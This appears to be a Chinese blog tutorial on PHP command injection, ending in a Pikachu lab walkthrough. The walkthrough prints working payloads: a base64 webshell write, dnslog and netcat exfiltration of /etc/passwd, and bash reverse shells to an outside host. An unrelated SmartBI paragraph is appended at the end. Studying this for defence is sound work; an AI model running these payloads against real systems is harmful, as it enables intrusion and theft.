远程命令执行漏洞

1、介绍

命令执行漏洞是指服务器端没有对客户端用户输入的命令进行充分过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令。这种漏洞通常发生在服务器端需要调用执行命令的函数时,如PHP中的system、exec、shell_exec等函数。当攻击者能够控制这些函数中的参数时,他们就可以将恶意系统命令拼接到正常命令中,从而实现对服务器的非法控制。

相关函数

在php中可以调用外部程序的常见函数;

system(args)有回显

passthru(args)有回显

exec(args)回显最后一行-必须echo输出

shell_exec(args)无回显-必须输出

反引号:``

popen(handle.mode)无回显

proc_open('cmd','flag','flag')无回显

Sprocess=proc_open('dir'.$des,$pipes);

echo stream_get_contents($pipes[1]);

2、原理

命令执行漏洞的原理主要源于服务端对执行命令的函数缺乏必要的过滤机制。攻击者可以利用这一漏洞,通过编写特定的系统函数,输入到疑似存在命令执行接口的地方,从而检测并利用该漏洞。一旦攻击成功,攻击者就可以执行任意系统命令,包括读取敏感文件、执行恶意代码、甚至获取服务器的完全控制权。

3、危害

命令执行漏洞的危害性极大,因为它允许攻击者绕过正常的安全机制,直接对服务器进行非法操作。此外,由于PHP执行命令通常继承WebServer用户的权限,这意味着攻击者可以利用此漏洞获取到相当高的权限,进一步加剧了漏洞的危害性。

4、防御

开发人员应在编写代码时对可执行的特殊函数入口进行过滤,避免客户端能够提交恶意构造语句并执行。同时,Web服务器也应加强对system、eval和exec等重要函数的过滤,防止命令注入攻击的发生。此外,定期更新和修补服务器软件,以及采用其他安全措施,如使用防火墙和入侵检测系统,也是预防命令执行漏洞的有效手段。

5、测试---pikachu靶场

代码分析:

ipaddress参数是外部可以控制的,在判断类型,使用shell_exec函数调用系统命令,所以存在命令执行漏洞

5.1、命令执行漏洞攻击

;(分号)

命令按照顺序(从左到右)执行,并可用分号来进行分隔。一条命令执行失败,不会影响其他命令

命令执行漏洞可以直接使用&&或者|和管道命令执行其他命令

命令链接符号解析

|(管道符)

通过管道符可以将一个命令的标准输出管理为另一个命令的标准输入。

&(后台任务符)

命令按照顺序(从左到右)执行,跟分号作用一样;此符号作用是后台任务符号是shell在后台执行,这样用户就可以立即得到一个提示符并继续其他工作

&&(逻辑与)

前后的命令执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后面命令才执行

 ||(逻辑或)

前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,后面的命令才执行

`(反引号)

当一个命令被解析是,它首先会执行反引号之间的操作。例如执行echo `ls-a`

$(command)命令替换

这是命令替换的不同符号。当反引号被过滤或编码是,可能有效

windows命令链接符

| & || && 和liunx一样

有回显的

发现命令执行漏洞,如果是回显的情况喜爱,获取系统敏感信息

win操作系统

type c:\\windows\win.ini

liunx操作系统

cat /etc/passwd

无回显

需要各种利用外通信技巧

命令执行漏洞外通信技巧

利用管道符号写入shell

如果存在漏洞的页面有web服务器,有权限写入,利用shell命令写入webshell后面到网站目录

|echo "PD9waHAgcGhwaW5mbygpOz8+"|base64 -d>2.php

dnslog

dnslog是一个显示解析记录的平台,在无回显的情况下,通过访问dnslog,dnslog会将访问的子域名头部文件记录下来

127.0.0.1|ping -c 2 `whoami`.9h6ydf.dnslog.cn

netcat

如果目标系统存在netcat。使用命令读取文件传递到远程服务器上

远程服务器监听命令

nc -lp 6666>123.txt

本地执行命令

| nc 192.168.10.129 6666< /etc/passwd

命令执行漏洞nc反弹shell

在执行命令漏洞,一般的利用方式是执行反弹shell,再进行其他的操作。执行反弹shell的命令有许多

反弹shell是因为从受害者反向连接到远程服务器,请求是从内部到外部,所以防火墙是不会拦截

远程服务器nc监听命令

nc -vlnp 5555

受害者反弹shell命令,每种语言都有sock连接命令,可以根据不同的换机,选择合适命令

 bash -i >& /dev/tcp/192.168.10.129/5555 0>&1

使用bash shell执行

||/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.129/4444 0>&1'

  • 25
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SmartBI是一种企业级的商业智能系统软件,用于数据分析和报告生成。近期,SmartBI被发现存在远程命令执行漏洞。 该漏洞的存在使得攻击者可以通过构造恶意的命令,并通过远程访问的方式执行这些命令,从而获取系统权限并进行未授权操作。这可能导致许多安全风险,包括未经授权的数据访问、敏感信息泄漏、系统瘫痪等。 远程命令执行漏洞通常是由于软件代码中的缺陷或不安全配置导致的。在SmartBI的情况下,攻击者可以通过用户输入参数中的特殊字符来注入恶意命令,由于软件没有对这些输入进行充分的验证和过滤,导致了漏洞的存在。 为了防止此类漏洞的利用,SmartBI的开发者应该加强对用户输入的验证与过滤。验证用户输入的合法性,确保输入中不包含任何潜在的恶意命令,如特殊字符、命令标识符等。此外,软件应该限制命令执行的权限,只允许执行必要的操作,并保证执行环境的安全性。 对于用户来说,应该及时更新SmartBI软件到最新版本,以获取安全补丁和修复。此外,用户在使用SmartBI时应保持警惕,避免点击不明链接、下载可疑附件,以及及时报告任何异常情况。 总之,SmartBI远程命令执行漏洞的存在给企业数据安全带来了潜在威胁。开发者需要加强软件的安全性设计和防护措施,而用户则应该保持警惕并采取合适的安全措施来最大程度地降低风险。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值